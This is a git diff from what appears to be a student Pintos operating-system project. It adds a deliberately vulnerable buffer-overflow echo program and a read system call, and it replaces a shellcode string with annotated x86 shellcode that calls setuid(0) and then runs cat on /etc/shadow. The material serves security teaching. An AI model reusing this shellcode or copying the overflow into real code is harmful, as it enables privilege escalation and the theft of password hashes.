diff --git a/src/examples/Makefile b/src/examples/Makefile index 264a53544382589dcbf5031db4cc218e7bdac6ac..7e8fa86d349b584af1bda391a6c577d3d5d13823 100644 --- a/src/examples/Makefile +++ b/src/examples/Makefile @@ -4,7 +4,7 @@ SRCDIR = .. # To add a new test, put its name on the PROGS list # and then add a name_SRC line that lists its source files. PROGS = cat cmp cp echo halt hex-dump ls mcat mcp mkdir pwd rm shell \ - bubsort insult lineup matmult recursor my create remove exec exit open close exploit_sam overflow + bubsort insult lineup matmult recursor my create remove exec exit open close exploit_sam overflow_jordon # Should work from project 2 onward. cat_SRC = cat.c @@ -26,7 +26,7 @@ close_SRC = close.c exit_SRC = exit.c exec_SRC = exec.c exploit_sam_SRC = exploit_sam.c -overflow_SRC = overflow.c +overflow_jordon_SRC = overflow.c # Should work in project 3; also in project 4 if VM is included. bubsort_SRC = bubsort.c diff --git a/src/examples/exploit_sam b/src/examples/exploit_sam new file mode 100755 index 0000000000000000000000000000000000000000..98fabe3a9b5c934cbdb5e02aaeaccc7118a9c4bc Binary files /dev/null and b/src/examples/exploit_sam differ diff --git a/src/examples/exploit_sam.c b/src/examples/exploit_sam.c index 6c05150310712dba6f13923f46ad2b17be6c9d29..8a6cbb93599ab3f61649d552f406b5fbfd44e468 100644 --- a/src/examples/exploit_sam.c +++ b/src/examples/exploit_sam.c @@ -16,11 +16,31 @@ * just compile the code below and use the debugger to dump the code * in the main function. */ - /* Taken from https://packetstormsecurity.com/files/133481/Linux-x86-Create-File-With-7775-Permissions-Shellcode.html + /* Taken from https://shell-storm.org/shellcode/files/shellcode-557.html + /* This Setuid exploit allows the user to run an executable with root permissions */ */ unsigned char shellcode[] = -"\xeb\x12\x5b\x31\xc0\x88\x43\x05\xb0\x08\xb1\xff\xb5\xff\xcd\x80\xb0\x01\xcd\x80\xe8\xe9\xff\xff\xff\x61\x6a\x69\x74\x68\x23"; +"\x31\xdb" // xor ebx,ebx + "\x6a\x17" // push byte 17h + "\x58" // pop eax + "\xcd\x80" // int 0x80 + "\x8d\x43\x0b" // lea eax,[ebx+0xb] + "\x99" // cdq + "\x52" // push edx + "\x68\x2f\x63\x61\x74" // push dword 0x7461632f + "\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f + "\x89\xe3" // mov ebx,esp + "\x52" // push edx + "\x68\x61\x64\x6f\x77" // push dword 0x776f6461 + "\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f + "\x68\x2f\x65\x74\x63" // push dword 0x6374652f + "\x89\xe1" // mov ecx,esp + "\x52" // push edx + "\x51" // push ecx + "\x53" // push ebx + "\x89\xe1" // mov ecx,esp + "\xcd\x80" ; // int 80h #else /* And this is rather scary amazing... This is also the below diff --git a/src/examples/overflow.c b/src/examples/overflow.c new file mode 100644 index 0000000000000000000000000000000000000000..a568a8830738fa06b40ba89dcfa6cbe43c38cb27 --- /dev/null +++ b/src/examples/overflow.c @@ -0,0 +1,88 @@ +/* klaar@ida + + noopsled | pintos --fs-disk=2 -v -k -p ../examples/overflow -a overflow -p ../examples/crack -a crack -- -f -q run overflow + + This program is possible to crack with carefully crafted input. + It examplifies the danger of buffer overflow. +*/ + +#include <syscall.h> +#include <stdio.h> +#include <string.h> + +static void stringcopy(char* dst, const char* src) +{ + while (*src) + *dst++ = *src++; + *dst = '\0'; +} + +int main(void); + +/* A messy not very good buffer overflow example. A little bit too + * contrieved. */ +static int getline (char* destination) +{ + char line[200]; + int i = 0; + char* dst = destination; + +//#define DEBUG_CODE +#ifdef DEBUG_CODE + int r, c; + unsigned* ret = (unsigned*)(&dst - 1); + + printf ("Return address address: 0x%08x\n", (unsigned)&ret); + printf ("Return address content: 0x%08x\n", *ret); + printf ("Main function address : 0x%08x\n", (unsigned)main); + printf ("Line buffer address : 0x%08x\n", (unsigned)line); +#endif + + do /* !!! Buffer overflow when i >= 200 !!! */ + { + if ( read (STDIN_FILENO, &line[i], 1) != 1) + break; /* failed to read requested number of characters */ + } + while ( line[i++] != '\n' ); + + line[i-1] = '\0'; + +#ifdef DEBUG_CODE + /* hex dump of read data */ + for (r = 0; r < 16; ++r) + { + printf ("0x%08x: ", (unsigned)&line[ 16*r ]); + for (c = 0; c < 16; ++c) + { + int code = line[ 16*r + c ] & 0xff; + printf("\\x%02x", code); + } + printf("\n"); + } + + printf ("Return address content: 0x%08x\n", *ret); +#endif + + stringcopy(dst, line); + + return ( strlen(line) > 1 ); +} + +/* Stupid program to echo every line you write to screen. And to make + * matter worse, getline have a serious buffer overflow. */ +int main (void) +{ + char msg[2000]; + char quote = '"'; + char endl = '\n'; + + while ( getline (msg) ) + { + write (STDOUT_FILENO, "e, 1); + write (STDOUT_FILENO, msg, strlen(msg)); + write (STDOUT_FILENO, "e, 1); + write (STDOUT_FILENO, &endl, 1); + } + + return 0; +} \ No newline at end of file diff --git a/src/examples/overflow_jordon b/src/examples/overflow_jordon new file mode 100755 index 0000000000000000000000000000000000000000..9a0e505113b5e7aef48829bf848e58e44f8528e2 Binary files /dev/null and b/src/examples/overflow_jordon differ diff --git a/src/examples/overflow_jordon.c b/src/examples/overflow_jordon.c new file mode 100644 index 0000000000000000000000000000000000000000..786fd3cfe42ecaeef35740c17f40fb7addea3c79 --- /dev/null +++ b/src/examples/overflow_jordon.c @@ -0,0 +1,72 @@ +#include <syscall.h> +#include <stdio.h> +#include <string.h> + +static void stringcopy(char* dst, const char* src) +{ + while (*src) + *dst++ = *src++; + *dst = '\0'; +} + +static int getline(char* destination) +{ + char line[200]; + int i = 0; + char* dst = destination; + +//#define DEBUG_CODE +#ifdef DEBUG_CODE + int r, c; + unsigned* ret = (unsigned*)(&dst - 1); + + printf("Return address address: 0x%08x\n", (unsigned)&ret); + printf("Return address content: 0x%08x\n", *ret); + printf("Main function address : 0x%08x\n", (unsigned)main); + printf("Line buffer address : 0x%08x\n", (unsigned)line); +#endif + + do /* !!! Buffer overflow when i >= 200 !!! */ + { + if (read(STDIN_FILENO, &line[i], 1) != 1) + break; + } while (line[i++] != '\n'); + + line[i - 1] = '\0'; + +#ifdef DEBUG_CODE + for (r = 0; r < 16; ++r) + { + printf("0x%08x: ", (unsigned)&line[16 * r]); + for (c = 0; c < 16; ++c) + { + int code = line[16 * r + c] & 0xff; + printf("\\x%02x", code); + } + printf("\n"); + } + + printf("Return address content: 0x%08x\n", *ret); +#endif + + stringcopy(dst, line); + + return (strlen(line) > 1); +} + +int main(void) +{ + char msg[2000]; + char quote = '"'; + char endl = '\n'; + + while (getline(msg)) + { + write(STDOUT_FILENO, "e, 1); + write(STDOUT_FILENO, msg, strlen(msg)); + write(STDOUT_FILENO, "e, 1); + write(STDOUT_FILENO, &endl, 1); + } + + return 0; +} diff --git a/src/userprog/syscall.c b/src/userprog/syscall.c index 664bfc093c24d17ad4995a61c2dc91997c63093f..66f25b731ef75873dc77da9223e3a0879d064532 100644 --- a/src/userprog/syscall.c +++ b/src/userprog/syscall.c @@ -17,6 +17,7 @@ bool syscall_remove(const char*); int syscall_open(const char *file); void syscall_close(int fd); tid_t syscall_exec(const char* cmd_line); +int syscall_read(int fd, void *buffer, unsigned size); void syscall_init (void) @@ -72,6 +73,12 @@ syscall_handler (struct intr_frame *f) f->eax = syscall_exec(*(ptr+1)); break; + case SYS_READ: + printf("Running SYS_READ\n"); + int ret_read = syscall_read(*(ptr+1), (void *)*(ptr+2), (unsigned)*(ptr+3)); + f -> eax = ret_read; + break; + default: printf("Unknown Syscall number\n"); break; @@ -151,4 +158,28 @@ void syscall_close(int fd) printf("%s: close(%d)\n", cur->name, fd); file_close(f); printf("Close system call\n"); +} + +/* Reads the contents of a file */ +int syscall_read(int fd, void *buffer, unsigned size) +{ + ASSERT(buffer != NULL); + ASSERT(size>0); + if (fd == STDIN_FILENO) + { + for (unsigned int i=0; i<size; i++) + { + ((char*)buffer)[i] = input_getc(); + } + return size; + } + else + { + struct file *f = thread_current()->fd_table[fd]; + if (f==NULL) + return -1; + int bytes = file_read(f, buffer, size); + printf("Read Sys Call\n"); + } + return -1; } \ No newline at end of file